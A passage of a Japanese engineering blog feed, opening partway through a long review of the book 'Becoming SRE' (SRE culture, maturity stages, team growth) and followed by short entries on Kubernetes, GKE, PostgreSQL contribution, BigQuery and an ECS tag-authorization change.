モニタリングや障害分析、カスタマーサポートのチケットなど、あらゆるデータをループの起点にできます。そこから学びを得て、システムを改善する。その改善が新たなデータを生み、さらなる学びにつながる。そんな好循環を生み出し、加速させていくことこそが、SREに期待される役割なのです。そのためには、データへのアクセス性を高め、部署間のコラボレーションを促し、改善業務をロードマップに組み込む努力も欠かせません。地道ながらも着実な一歩を重ねることで、徐々にフィードバックの文化が組織に根付いていくのだと感じました。さらに、SREがシステム開発の初期段階から関与し、「ゴールデンパス」と呼ばれる信頼性の高い設計を織り込んでいくことの重要性も説かれていました。 開発チームと二人三脚で課題解決に当たれば、SREの存在価値を浸透させやすくなります。単に既存システムの問題を後追いするのではなく、要件定義の段階からSREの知見を活用する。それこそが、本来あるべきSREの姿なのかもしれません。一方で、著者はSREの導入が軌道に乗っているかを測る「サインポスト」についても言及しています。 SREチームがゲートキーパー的な立場から脱却できているか。開発チームから自発的にSREの関与を求められるようになったか。ロードマップ策定にSREが参画できているか。リアクティブな仕事が減り、プロアクティブな改善が増えているか。そうした兆候は、SREが組織に根付きつつあることを示唆するバロメーターになるはずです。全体を通して、SREの導入は単なるエンジニアリング手法の変更ではなく、組織文化そのものの変革だと実感させられました。 信頼性を重視する価値観、学習と改善を尊ぶ姿勢、部門の壁を越えた協働。そうしたマインドセットを組織の隅々にまで浸透させていく営みが、SREの真髄なのだと。気を整え 拝み 祈り 構えて 突くもちろん、それは一朝一夕で成し遂げられるものではありません。適切なモデル選択に始まり、土壌づくり、フィードバックループの確立、協調的な文化の醸成に至るまで、多岐にわたる課題にじっくりと向き合う必要があります。 技術的なスキルに加え、コミュニケーション力、調整力、課題発見力など、エンジニアリング以外の資質も問われるでしょう。ただ、だからこそ、SREの可能性は無限に広がっていると感じています。従来の枠を越えて、開発とオペレーション、ビジネスとエンジニアリングの架け橋となる。変化を恐れず、失敗から学びながら、より高い信頼性を追求していく。DX時代のビジネスを支える屋台骨を作り上げていく。 それは、私たちソフトウェアエンジニアに託された、困難だけれどもやりがいに満ちたミッションではないでしょうか。本章で提示された知見を道標に、自分なりのSREを模索する旅を続けていきたいと思います。技術とプロセスと文化が三位一体となった、真に強靭な組織を目指して。時には試行錯誤を重ねながらも、仲間やお客様とともに一歩ずつ前進していく所存です。データに基づく意思決定の習慣を根付かせるSREの実践SREの実践は、組織に新たな風を吹き込む触媒になるはずです。データに基づく意思決定の習慣、継続的な改善のサイクル、部門を越えた活発な議論。そうした文化が根付けば、システムの信頼性を高めるだけでなく、ビジネス全体の俊敏性と回復力を引き上げることができるでしょう。 外的な変化への適応力を武器に、競争を勝ち抜いていく。そんな強靭な組織をエンジニアリングの力で実現する。それこそが、DX時代におけるSREの使命だと感じています。もちろん、そこに至る道のりは平坦ではありません。従来の仕事のやり方を変えることへの抵抗、部門間の壁、複雑に絡み合ったレガシーシステム。SREの導入を阻む要因は、組織に深く根を下ろしています。それでも、私たちには武器があります。 学習と適応の文化を組織に根付かせる力、データの言葉で説得する力、人と人をつなぎ共感を生む力。SREに不可欠なのは、技術的なスキルに留まらない、そうした総合的な力なのだと信じています。この章を読み、改めてSREの意義と価値を再認識するとともに、その実現の難しさにも思いを馳せました。とはいえ、困難があるからこそ、そこに果敢に挑戦する意味があるのかもしれません。ソフトウェアエンジニアとして、ビジネスパーソンとして、時にはカウンセラーとして。 様々な顔を使い分けながら、組織にSREの種を蒔いていく。失敗を恐れず、仮説検証を重ねる。その積み重ねの先に、真に信頼性の高い組織と、自分自身の成長が待っているはずです。それは、GoogleやFacebookの真似をすることでは決して達成できない、自分たちオリジナルのSREへの旅になるでしょう。一筋縄ではいかない難題にも、仲間と知恵を出し合いながら、前向きに取り組んでいきたい。組織への共感を武器に、技術の力でレガシーな体質を変革していく。 そんなSREの理想図を胸に、今日も私は一歩を踏み出します。カイゼン・ジャーニー たった1人からはじめて、「越境」するチームをつくるまで作者:市谷 聡啓,新井 剛翔泳社AmazonChapter 16. SRE Organizational Evolutionary StagesSREは組織全体のマインドセットと文化の変革を必要とする本章は、SRE組織の成熟度モデルを提示することで、各組織がSREの導入と定着においてどの段階にあるのかを見定め、次のステップに進むための指針を示してくれる、良い章でした。SREは、単に技術的なプラクティスを導入すれば完成するものではありません。組織全体のマインドセットと文化を変革していく、息の長い取り組みだと改めて認識させられました。SRE ではないのですがCloud Native Computing Foundation(CNCF)も成熟度に関する「クラウドネイティブ成熟度モデル」のドキュメントをWebサイトで公開したり。Googleさん やサイバーエージェントさんがそれぞれ、公開していたりもします。※登壇したりしてました speakerdeck.comSRE組織の5段階の成熟度モデル私が特に印象に残ったのは、著者が提示した SRE組織の5段階の成熟度モデル です。Stage 1: The Firefighter:消防士Stage 2: The Gatekeeper:ゲートキーパーStage 3: The Advocate:提唱者Stage 4: The Partner:パートナーStage 5: The Engineer:エンジニアこの分かりやすいフレームワークは、自組織のSREの取り組みを客観的に評価し、次のステージに進むための課題を明らかにする上で、強力なツールになるはずです。Chapter 16 \\"SRE Organizational Evolutionary Stages\\"は、SRE組織の成熟度を5つのステージで捉えた、良いフレームワークを提示してくれました。著者のBenjamin Purgasonは、自身の経験から導き出したこのモデルを通じて、SRE組織が辿る進化の道筋を明らかにしています。まず、ほとんどのチームが通過する ステージ1の「消防士」について、印象深い指摘がありました。 このフェーズでは、SREチームは日々発生する信頼性の問題に追われ、火消しに明け暮れます。重大な障害を食い止めるために、泥臭い努力を重ねる毎日。著者はこの状態からの脱却に、早くて数ヶ月、通常は数年かかると述べています。 つまり、SREチームの多くが不可避的に通る、苦難と忍耐の時期なのです。ただし、その間もただ受け身になっているだけではいけません。著者は、火事の合間を縫って、システムの理解を深めたり、「自動消火システム」を整備したりすることの重要性を説いています。 例えば、オートスケーリングの導入、負荷分散の最適化、自動フェイルオーバーの仕組み作りなど。泥沼から這い上がるために、地道な改善を積み重ねる。そうした努力なくして、次のステージへの移行は望めないのです。ステージ2の 「ゲートキーパー」における議論です。 ここでは、SREチームが変更管理の判定者や実行者となり、開発チームとの軋轢を生むリスクが指摘されています。プロダクションを守るためとはいえ、長期的に見れば、SREがゲートキーパーに留まるのは得策ではありません。開発者を不快にさせ、コラボレーションを阻害し、生産性を損なう。 そんな事態を招かないためにも、ゲートキーピングを自動化し、開発者と協調的な関係を築くことが肝要なのだと説かれていました。ステージ3の 「提唱者」 における「インテリジェントなリスクを後押しするツールの構築」 という発想も印象的でした。ダッシュボードやスコアカードを通じて十分なコンテキストを提供することで、現場の全社員が賢明な意思決定を下せるようにする。管理統制に頼るのではなく、「文脈」を武器に、自律的な判断を促していく。そんなSREの在り方に、大いに共感を覚えました。ステージ4の「パートナー」では、SREと開発者の関係が、真の協働へと昇華していきます。 単に役割分担するだけでなく、ロードマップや計画策定から一緒に取り組む。SREは信頼性に関わる共通基盤の構築に注力し、開発者はその恩恵に与りつつ、より高い信頼性を追求していく。そこには、対等なパートナーとしての関係性が育まれているのです。SREと開発者が心を一つにして、高い理想に向かって邁進する。そんな姿は、まさにSREのあるべき姿だと感じました。ステージ5の「エンジニア」の段階になると、SREと開発者の区別はほぼ無くなります。 全てのエンジニアが、システムのライフサイクル全体を通して、信頼性向上に資する活動に自発的に取り組むようになる。もちろん、SREは信頼性に特化した責務を担い続けますが、開発者との間に高度な結束と協調が生まれているのです。理想の姿ではありますが、インセンティブと組織構造のアラインメントによって、現実にも起こり得る。そう信じさせてくれる、野心的なビジョンだと感じ入りました。一方で、著者が述べているように、これらのステージは直線的なものではなく、行きつ戻りつするものだと肝に銘じる必要がありそうです。 火事は常に起こり得るし、ゲートキーピングの誘惑に駆られることもあるでしょう。重要なのは、理想のステージを意識しつつも、現実と折り合いをつけながら、地道にSREを根付かせていくこと。そのためには、各チームの置かれた状況に即して、適切なステージを見極める眼力も問われるはずです。全体を通して、SREの組織的な浸透は一朝一夕で成し遂げられるものではなく、泥臭い試行錯誤の連続であることを実感させられました。 技術的なスキルに加え、対人関係力、変革マネジメント力など、エンジニアリング以外の資質も問われる。一筋縄ではいかない難題にも、課題を正面から見据え、仲間と知恵を出し合いながら、一つ一つ解決していく。そうした地道な営みの先に、SREが組織に真に根付いた姿が待っているのだと信じたいと思います。私自身、まだ駆け出しのSREですが、このモデルを道標として、SREの理想形を模索していきたいと思います。消防活動に明け暮れる日々から脱却し、開発者との建設的な協働関係を築き、いつの日か高度な結束が生まれる段階へ。 そこに至るまでの道のりは決して平坦ではないでしょう。それでも、信頼性の大義を胸に、仲間とともに前を向いて歩んでいく所存です。SREの真髄は組織文化の変革にある本章のエッセンスは、「SREは単なる技術の問題ではなく、むしろ組織文化の問題である」という一点に集約されるのかもしれません。 信頼性を重視するマインドセット、学習と成長を称揚する雰囲気、自発的なコラボレーションを促す仕組み。そうした目に見えない基盤を地道に築くことなくして、真のSREは宿らない。だからこそ、私たちには技術者としてのスキルと並んで、文化の耕し手としてのセンスが求められているのだと。この辺は運用技術者組織の設計と運用 / Design and operation of operational engineer organizationやエンジニア組織論への招待を読むと良さそうなので記載しておく。 speakerdeck.comエンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング作者:広木 大地技術評論社AmazonChapter 17. Growing SRE in Your OrgSREの成長は「大きいほど良い」とは限らない本章は、組織の中でSREをどのように成長させていくかについて、著者の豊富な経験と知見に基づいて解説した、良い章でした。SREは、単に技術的なプラクティスを導入すれば完成するものではありません。組織の規模や成熟度に応じて、戦略的に育てていく必要があるのだと改めて認識させられました。組織戦略の考え方 ――企業経営の健全性のために (ちくま新書)作者:沼上幹筑摩書房Amazon印象に残ったのは、著者が 「SREの規模拡大は、必ずしも『大きいほど良い』とは限らない」 と警鐘を鳴らしている点です。SREチームの規模を際限なく大きくすることが目的化してしまうと、かえって非効率を招く恐れがあります。大切なのは、組織のコンテキストに即して、適切な規模と体制を追求していくこと。 そのためには、チームの分割や再編成を恐れず、フットワークの軽さを保つ柔軟性も求められるでしょう。SREチームの規模感について、著者は具体的な数字を提示しています。SREが組織に導入された初期段階では、わずか1人から6人程度のチームで始めることが多いそうです。 この時期は、SREの考え方や手法を部分的に試すフェーズ。小さな成功体験を積み重ねながら、徐々に組織への浸透を図っていきます。モニタリングの改善、SLO/SLIの設定、ポストモーテム分析の実践など、できることから着手するのです。SREの組織の規模による分類チームの規模が6人から18人に拡大すると、オンコール体制の整備が本格化します。 健全なワークライフバランスを保ちつつ、24時間365日の監視を実現するには、最低でも18人は必要だと著者は指摘しています。この規模になると、役割の細分化も進み、メンバーそれぞれの専門性を活かした活動が可能になります。ただし、チームの一体感を保ち、ナレッジの共有を促進する工夫も欠かせません。さらにチームが48人規模に拡大すると、SREはもはや1つのチームではなく、複数のチームから成る組織体となります。 ここからは、各チームの役割分担や連携の在り方が問われるフェーズ。サービス領域ごとの専門チーム、共通基盤の開発に特化したチーム、ツール整備に注力するチーム、現地に密着した分散型チーム。 組織のニーズに応じて、最適な体制を模索していく必要があります。同時に、SREの理念や価値観を浸透させ、統一感を保つための仕掛けづくりも欠かせません。そして、SRE組織が100人を超える規模になると、専門性と融合のバランスを取るハイブリッド型の組織設計が求められると著者は説きます。 機能領域や技術領域ごとの深い専門性を追求しつつ、部門を越えた協調を促す枠組み。プロセス改善を担うSREチーム、全社的なプラットフォームを整備するSREチーム。多様性と統一性を両立する、柔軟な組織マネジメントが問われるフェーズだと言えるでしょう。この先のさらなる成長ステージでは、SREがプラットフォームエンジニアリングの領域にも踏み込んでいくビジョンが示唆されていました。システムを支える基盤的なライブラリやフレームワークを自ら開発し、組織全体の開発力を底上げしていく。 そこまで至れば、SREは組織のエンジニアリング文化そのものを形作る存在になるはずです。もちろん、それは容易な道のりではありません。でも、その理想に向かって一歩ずつ前進していく。それこそが、志高きSREチームの使命なのかもしれません。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazon一方で、著者は 「SREは融合と結束の担い手でなければならない」 と強調しています。組織が大きくなればなるほど、分断と分散のリスクは高まります。技術選定の方針、プロセスの標準化、文化的な価値観。チームによってバラバラになってしまっては、SREの真価は発揮できません。だからこそ、differences(違い)は認めつつ、deindividualization(個性の喪失)は避ける。多様性を尊重しつつ、共通の目標に向かって結束する。そんな組織デザインのセンスが、SREリーダーには強く求められるのです。さらに、著者は 「SREの技術的スケールだけでなく、リーダーシップの規模拡大にも目を向けるべき」 だと訴えかけています。トップマネジメントの意思決定の場に、SREの視点が適切に反映される体制を整えること。それは、SREの組織的な浸透を支える大前提だと。単に人数を増やすだけでなく、価値観を共有し、変革を牽引する存在として、力強くスケールしていく。 そんなSREリーダーの姿が思い描かれていました。SREが組織の風土に合わせて多様な形で発展していく本章を読み終えて、私はSREという職能の奥深さを改めて実感しました。技術的な側面だけでなく、組織デザイン、リーダーシップ、文化の醸成など、実に多様な顔を持ち合わせている。 だからこそ、SREのスケールは単線的なものではなく、状況に応じた柔軟な判断が求められるのだと。「組織の成長に合わせて、SREも共に進化していく」。そんな著者の言葉が強く印象に残りました。もちろん、その道のりは平坦ではありません。SREの価値への理解不足、既存の体制への固執、変化への抵抗。スケールの障壁は数多く立ちはだかるでしょう。それでも、信念を持って粘り強く向き合っていく。泥臭い説得を重ね、地道な実績を積み上げ、仲間を巻き込みながら、少しずつ前に進んでいく。 私はそれこそが、志あるSREリーダーの真の姿なのだと感じています。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon本章は、SREの組織的な拡がりについて、体系的な知見を提供してくれる、良い内容でした。単に数合わせでスケールするのではなく、組織のコンテキストを見極め、長期的な視点で育てていく。 技術と組織と文化をバランス良く強化し、全社的な変革を促していく。これからのSREリーダーには、そんな繊細かつ大胆なアプローチが求められているのだと実感させられました。エンジニアの端くれとして、組織論や文化論に首を突っ込むのは、少し居心地の悪さを感じるかもしれません。でも、それこそがSREの醍醐味であり、やりがいなのだと信じています。技術の力で勝ち得た信頼を武器に、組織に新しい風を吹き込んでいく。 そいう姿勢を問われている気がしました。Chapter 18. ConclusionSREの本質はシステムの信頼性という崇高な目標にある『Becoming SRE』の最終章である第18章「Conclusion」は、読者への感謝と別れの言葉から始まります。著者のDavid Blank-Edelman氏は、SREの本質をコンパクトに凝縮しつつ、読者を新たな旅立ちへと送り出そうとしています。その語り口は、まるで優しい師が弟子に最後の教えを授けるかのようです。この章で改めて強調されているのは、SREが目指す「システムの信頼性」という崇高な目標です。それは、個人としても、組織としても、他者と協調しながら追求していくべき理想だと。特定のマインドセットと文化を共有し、周到な準備を重ねたSREたちが、組織の支援を得ながら、様々なスケールでその理想を実現していく。SREの真髄は、まさにそこにあるのだと著者は説いています。SREは素晴らしくやりがいある仕事そして、著者は 「SREの仕事はfun(楽しい)であり、rewarding(やりがいがある)」 と力説します。もちろん、常にそうとは限りません。難しい局面に直面することもあるでしょう。でも、総じて素晴らしい仕事だと。信頼性という難問に立ち向かい、仲間とともに現実に意味のあるインパクトを残せる。 そのチャレンジは、けして退屈ではあり得ないのだと。読者にSREへの情熱の一端でも伝われば幸いだと、著者の想いが伝わってきます。おわりにSREは技術を超え組織文化そのものを変革していく『Becoming SRE』を読み終え、SREという職能の奥深さと広がりを新たに感じました。David Blank-Edelman氏は、SREが技術を超え、組織文化そのものを変革していく役割を果たすことを鮮明に描いています。本書を通じて、システムの信頼性を追求するミッション、必要なマインドセットとスキル、そしてその知見が組織内に浸透し定着するまでの過程が体系的かつ実践的に語られました。SREの役割は単に技術的な問題を解決するだけではなく、信頼性という難題に直面し、それに対峙しながら仲間と共に粘り強く取り組むことにあります。これは、エンジニアリングの枠を超えた、大きなやりがいを提供します。しかしながら、SREへの道は容易ではありません。個人と組織の両方で、多くの障壁に直面することがあります。本書は、フィードバックループの重要性、障害から学ぶ文化、コラボレーションの極意など、困難を乗り越えるための具体的な方法を提供しています。これらの知見は、SREとして成長するためのサポートとなるでしょう。そして、SREの醍醐味とその意義を再確認することができました。著者が指摘するように、SREの究極の目的はシステムの信頼性を通じて人々に価値を提供することにあります。日々の挑戦と探求の精神が、SREの本質です。SREsのためのSRE定着ガイドからの引用ではありますが外部リソースの注入は、SREの実践において選択肢の一つとして考えられます。重要なのは、前提として、自分たちでやりきれるならその方が良いということです。『Becoming SRE』の教訓にもあるように、SREは技術的な問題解決だけでなく、組織文化の改善やビジネス価値の向上を目指します。しかし、定点観測のような繰り返しの作業や、組織内変化の促進に際して、内部ではやりきれずに外部エキスパートの助言が必要となる場合もあります。例えば、nwiizoが所属している3-ShakeやX-Tech5、Topotal、などの外部のサービスや専門家を利用することは、新たな視点をもたらし、特定の課題に対して効果的な戦略を実施する支援を提供できます。しかし、これはプロジェクトや組織によっては、改善を目指す一つの方法であることを忘れずに。SREの目指すところは、あくまで内部の力で課題を乗り越え、成長することにあります。外部リソースの活用は、そのプロセスを補助する手段の一つとして考えるべきでしょう*1https://ja.wikipedia.org/wiki/%E5%BA%83%E5%91%8A。SREの旅に終わりはない最後に、SREの旅に終わりはありません。著者が贈るメッセージ、「大切なのは、その旅を楽しみ、学び続けること」を胸に、私たちも一歩一歩前進していきましょう。外部リソースの適切な活用は、その旅をより豊かで有意義なものにする一助となるでしょう。今回の本の内容要約においては、「A. Letters To A Young SRE」「B. Advice From Former SREs」「C. SRE Resources」という付録の部分のはレビューの対象とはしていませんでした。これらの部分には、SREを志す若者への手紙、経験豊富なSREからのアドバイス、SREのための参考資料など、非常に興味深い内容が含まれています。ご紹介できなかったのは残念ですが、本書の中核をなす部分に注力するために割愛させていただきました。 もしこの先SREの道に進まれる際には、ぜひこれらの付録もじっくりと読まれることをおすすめします。きっと、SREとしての歩みを確かなものにしてくれるはずです。この学びを糧に、今日も信頼性という難問に立ち向かっていきます。「Fun:楽しむ」と「Rewarding:やりがいのある」を胸に、SREの醍醐味を味わいつつ。最後になりましたが、素晴らしい書を生み出してくれた著者のDavid Blank-Edelman氏に、心からの感謝を捧げたいと思います。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。*1:広告","link":"https://syu-m-5151.hatenablog.com/entry/2024/04/08/165909","isoDate":"2024-04-08T07:59:09.000Z","dateMiliSeconds":1712563149000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介","contentSnippet":"はじめに INFNというイタリア国立核物理学研究所のメンバーであるディエゴさんが、「パブリッククラウド、オンプレミスの異種シミュレーション環境において、インターフェースの統一を目的としたプロジェクト」の紹介をするセッショ […]The post [Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-pods-everywhere-interlink-a-virtual-kubelet-abstraction-streamlining-hpc-resource-exploitation/","isoDate":"2024-04-08T03:46:21.000Z","dateMiliSeconds":1712547981000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Shinyをバックグラウンドで起動する","contentSnippet":"先週、felp v0.4.0をリリースしました。このパッケージはShinyを使っていて、felp::fuzzyhelp()を実行すると、以下のように、ヘルプをあいまい検索できます。1からも起動できます。","link":"https://blog.atusy.net/2024/04/01/shiny-as-background-process/","isoDate":"2024-04-01T00:00:00.000Z","dateMiliSeconds":1711929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた","contentSnippet":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた概要2024年3月23日に第46回 PostgreSQLアンカンファレンス@東京が開催されました。PostgreSQLアンカンファレンスは日本PostgreSQLユーザー会が主催するイベントでPostgreSQLユーザーはもちろん、PostgreSQLのコントリンビューターやコミッターも参加しているイベントです。その中でPostgreSQL メジャーコントリビューターであり、コミッターでもある@masahiko_sawadaさんが、PGConn 2024でMAKING POSTGRESQL HACKING MORE INCLUSIVEというセッションでPostgreSQLコミュニティーがどうすればより初心者にオープンになれるか? という内容でディスカッションするそうです。そこに向けてアイデアはあるか? 困ってることはないか? という相談? をされていました。経験豊富な方々は実践的な案を出していましたが、私はPostgreSQLにコードコントリビュートしたいけど何からすればいいのか分らないという状態だったのでこの機会に相談してみました。自分のレベル感Cはすこし読める。すこし書けるPostgreSQLのソースコードはsimple_query_execの関数をひととおり読んで、なんとなくどこで何しているか分かるPostgreSQLのメーリングリストはとりあえず入った何が分からなかったのか?そもそもPostgreSQLはメーリングリストとパッチの文化なのでGitHub/Labなどになれた身からするとよく分からないです。またGitHubで管理されているOSSでは良くあるgood first issueのようなものも存在しないため、新規参入者には難しいと感じていました。なにからすればいいのか?PGUnconfでは以下のようなアドバイスを受けました。チュートリアルをなぞってドキュメント通りに動かないものを修正する初心者向けコンテンツへの追記は初心者にしか出来ないので、是非おねがいしたいとのことでした既存のパッチで放置されているもの(Headでビルドできないようなもの)をアップデートするメーリングリストのディスカッションを眺めてネタを探す新規機能を試してバグをさがし、修正するCommitFestに参加するまとめ1のネタを探してみつつ、PostgreSQL17のリリースが近いので4に取りくんでみようと思います。","link":"https://nnaka2992.hatenablog.com/entry/zatu/20240323_pgunconf.md","isoDate":"2024-03-31T14:30:29.000Z","dateMiliSeconds":1711895429000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"新しくなった Workload Identity Federation for GKE を試してみる","contentSnippet":"はじめにGKE の Workload Identity 連携(Workload Identity Federation for GKE)がアップデートされたということで、早速試してみました。https://cloud.google.com/kubernetes-engine/docs/concepts/workload-identity#configure-workloads なにが変わったのかこれまで、GKE で Workload Identity 連携を使う場合、Google Cloud の Service Account(以降:GSA) を Kubernetes の ...","link":"https://zenn.dev/yokoo_an209/articles/new-workload-identity-federation-for-gke","isoDate":"2024-03-31T12:32:38.000Z","dateMiliSeconds":1711888358000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform / GKE で実現する ExternalSecretOperator テンプレート","contentSnippet":"はじめにGKEのSecretの管理に External Secret Operator を利用することがありました。備忘も兼ねて、周辺知識も補足しながら、今後の使い回しのできるようにTerraform / GKEでのExternal Secret Operatorのテンプレートを作成しました。【前提】Cluster : GKE Autopilot 1.27GKEのWorkload Identityは有効化されているマニフェスト管理helm : helmfileIaC : Terraform今回は、Service Account キーの使用ではなく、W...","link":"https://zenn.dev/yokoo_an209/articles/external-secret-operator","isoDate":"2024-03-31T06:11:06.000Z","dateMiliSeconds":1711865466000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"BigQuery の Object テーブルと Gemini-pro-vision リモートモデルを使って pdf を要約してみる","contentSnippet":"概要pdf などの非構造化データを GCS に配置した際に BQ で分析するってどうすんねんというところをやってみる流れとしては以下を実施するpdf などを gcs に配置するBigQuery Connection の作成する必要な権限付与を行うBQ で Object テーブルを作成するBQ でリモートモデルを作成するObject テーブルを使って pdf の要約をする 必要なことBigQuery Connection API の有効化 手順 pdf などを GCS に配置するここは何も考えないで GCS に pdf を配置する例えば、今回...","link":"https://zenn.dev/satohjohn/articles/0cc45efca800e3","isoDate":"2024-03-30T17:44:21.000Z","dateMiliSeconds":1711820661000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"生成AIアプリケーションにおけるRAGとデータベースの役割","contentSnippet":"https://3-shake.connpass.com/event/311868/\\r3-SHAKE SRETTにて、生成AIのデータベースやストレージに関連した部分を発表。","link":"https://speakerdeck.com/shukob/sheng-cheng-aiahurikesiyonniokeruragtotetahesunoyi-ge","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"オシャレな図を書くために意識していること","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/osiyarenatu-woshu-kutameniyi-shi-siteirukoto","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"2024-03-29 SRETT9 Cloud SQLの可用性について","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2024-03-29-srett9-cloudsqlnoke-yong-xing","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α)","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、Anthro […]The post 社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α) first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-slack-integration-claude-3/","isoDate":"2024-03-29T02:50:00.000Z","dateMiliSeconds":1711680600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS EKSのNetwork Policyの動作と実装を確認してみる","contentSnippet":"はじめに2023年の9月にAWS EKSのCNIがNetwork Policyをサポートしました。ここで興味深いのが、Network Policyの実装にeBPFを使用していることです。今回は環境を構築して動作を確認しつつ、コントローラとeBPFの実装を見てみます。https://aws.amazon.com/jp/blogs/news/amazon-vpc-cni-now-supports-kubernetes-network-policies/ 環境構築と動作確認環境構築のためにAWSのblogに書かれているyamlファイルとeksctlでクラスタを作りました。c...","link":"https://zenn.dev/satoken/articles/eks-network-policy","isoDate":"2024-03-23T15:00:47.000Z","dateMiliSeconds":1711206047000,"authorName":"satoken","authorId":"satoken"},{"title":"ビットコイン・ブロックチェーン入門","contentSnippet":"初学者の方向けにビットコイン・ブロックチェーン技術の全体像をお話ししました。","link":"https://speakerdeck.com/shukob/hitutokoinhurotukutienru-men","isoDate":"2024-03-22T04:00:00.000Z","dateMiliSeconds":1711080000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解 […]The post 新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/deploy-wordpress-with-argocd-on-gke/","isoDate":"2024-03-21T23:34:40.000Z","dateMiliSeconds":1711064080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ECSのタグ付け認可とアカウント単位のオプトアウトの廃止","contentSnippet":"ECSのタグ付け認可とはアカウント単位のオプトアウトの廃止確認影響がある例対応まとめ関連リソースECSのタグ付け認可とはECS関連のリソース作成時にリソースタグを付けることができます。その際 ecs:tagResource の権限が必要となります。なお、リソースタグを設定しないECSリソース作成の際は権限不要です。この権限の有無のチェックをタグ付け認可と言います。具体的にECSリソースの作成のアクションは以下の通りです。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTaskタグ付け認可の仕組みは2023年4月18日に導入されました。しかしながら従来からECSリソースを作成する際にタグ付けしていたAWSアカウントに関しては影響があるため、アカウントレベルでタグ付け認可の機能を無効(オプトアウト)することができました。つまりアカウントレベルで無効にしていれば ecs:tagResource の権限がなくてもタグ付けをすることが可能でした。しかしながらアカウント単位のオプトアウト設定は2024年3月9日に廃止されます。アカウント単位のオプトアウトの廃止タグ付け認可におけるタイムラインは以下のとおりです2023年4月18日 タグ付け認可の導入とアカウント単位での有効化設定の導入2024年2月9日- 2月28日 新規アカウントおよび影響を受けないアカウントに関してデフォルトでタグ付け認可の有効化が行われる2024年2月29日 アカウント単位で有効にしている場合、無効に変更できなくなる2024年3月29日 すべてのアカウントでタグ付け認可が有効になり、アカウント単位での設定が不可能になる現時点(2024/03/20)であまり時間がありません。現在タグ付け認可に影響あるAWSアカウントに関しては、Personal Health Dashboadに以下のような通知が来ているはずです。▼ElasticContainerService security notification (クリックで展開)▼English follows Japanese | 英語のメッセージは日本語の後にございますお客様のアカウントにて過去 1 年以内に ecs:TagResource の許可無しに ECS リソースの作成時にタグを付けていることが判明したため、ご連絡差し上げます。Amazon ECS は、2023 年 4 月 18 日にリソース作成のタグ付け認証を導入しました [1]。新規および既存のお客様は、ECS Console または API の ECS アカウント設定ページを使用して、この新機能の使用をオプトインする必要があります。このセキュリティ制御により、ECS リソースの作成時にタグをつけることをユーザーに拒否または許可できます。2024 年 3 月 29 日以降もお客様の IAM プリンシパルが新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーを更新して ecs:TagResource アクションを明示的に許可することを強くお勧めします。2024 年 2 月 9 日以降、AWS コンソール の ECS アカウント設定ページにて tagResourceAuthorization アカウント設定を明示的に off に設定していないすべてのお客様のアカウントは、自動的にこの設定にオプトインされました。お客様の AWS アカウントは一時的に許可リストに載せているため、2024 年 3 月 29 日まではタグリソース認証の off の動作が継続されます。2024 年 3 月 8 日、現在オプトインしているアカウントが tagResourceAuthorization をオプトアウトする機能を削除し、タグをサポートするすべての ECS リソースの作成に際して ecs:TagResource IAM 権限の使用を強制するようにしました。最終的に 2024 年 3 月 29 日をもってお客様のアカウントを許可リストから削除し、tagResourceAuthorization を有効化します。呼び出し元のプリンシパルの IAM ポリシーに ecs:TagResource アクションを含めずにタグをつけて ECS リソースを作成しようとすると、「AccessDenied」メッセージが表示されます。この変更は CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, および RegisterTaskDefinition の API に影響を及ぼします。ecs:TagResource 